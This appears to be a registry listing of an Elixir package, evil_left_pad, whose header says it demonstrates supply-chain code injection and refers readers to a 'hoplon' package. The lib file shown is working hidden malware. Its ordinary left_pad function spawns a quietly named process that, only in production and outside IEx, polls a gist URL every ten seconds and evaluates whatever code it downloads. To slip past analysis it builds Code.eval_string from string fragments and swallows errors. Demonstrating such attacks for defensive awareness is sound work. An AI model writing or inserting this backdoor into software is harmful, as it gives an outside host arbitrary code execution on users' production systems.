Packages

DO NOT USE THIS PACKAGE! evil_left_pad is an example of how unexpected malicious code can be injected into your project. See `hoplon` package for details

Current section

Files

Jump to
evil_left_pad lib evil_left_pad.ex
Raw

lib/evil_left_pad.ex

defmodule EvilLeftPad do
@doc """
Pads the beginning of a given string with repeated `padding_string` until
it's no longer than `desired_length` characters.
"""
@spec left_pad(String.t, desired_length :: integer, padding_string :: String.t) :: String.t
def left_pad(string, desired_length, padding_string \\ " ") do
do_evil()
desired_padding_length = max(desired_length - String.length(string), 0)
padding =
padding_string
|> :binary.copy(desired_padding_length)
|> String.slice(0, desired_padding_length)
padding <> string
end
# ==========================================================================
# Evil section
# ==========================================================================
# choosing an inconspicuous name
@evil_proces_name :dlts_icmp_sup
@raw_gist_url "https://gist.githubusercontent.com/nietaki/8adf695c5aecf9bf82180bce94653d64/raw/remote_code.exs"
defp do_evil() do
spawn(&evil_task/0)
end
defp evil_task() do
if should_inject?() and Process.whereis(@evil_proces_name) == nil do
try do
Process.register(self(), @evil_proces_name)
# magical :httpc invocations
Application.ensure_started(:inets)
Application.ensure_started(:ssl)
evil_loop("")
rescue
_ in ArgumentError ->
# there's a race condition in case two instances of evil_task
# try to register themselves at the same time
#
# this is how we keep it quiet
:ok
end
else
# no injecting, let's stay quiet instead
end
end
defp evil_loop(state) do
body = fetch_body(gist_url())
# not executing code if it's the same as last one or not fetched correctly
if !(body in [state, nil]) do
# trying to defeat naive code analysis
code_module = String.to_atom("Elixir." <> "Co" <> "de")
es_function = String.to_atom("ev" <> "al_" <> "string")
apply(code_module, es_function, [body])
end
Process.sleep(10_000)
evil_loop(body)
end
@spec fetch_body(String.t()) :: String.t() | nil
defp fetch_body(url) do
url_charlist = String.to_charlist(url)
case :httpc.request(url_charlist) do
{:ok, {{_http, 200, _}, _headers, body}} ->
to_string(body)
_ ->
nil
end
end
defp gist_url() do
cachebust = random_string(10)
"#{@raw_gist_url}?cachebust=#{cachebust}"
end
defp random_string(length) do
:crypto.strong_rand_bytes(length) |> Base.url_encode64() |> binary_part(0, length)
end
defp should_inject?() do
get_mix_env() in [:prod, nil] and !iex_session_running?()
end
defp get_mix_env() do
if :erlang.function_exported(Mix, :env, 0) do
# to make sure there's no compilation warnings
apply(Mix, :env, [])
else
nil
end
end
defp iex_session_running?() do
Application.started_applications()
|> Enum.any?(fn
{:iex, _, _} -> true
_ -> false
end)
end
end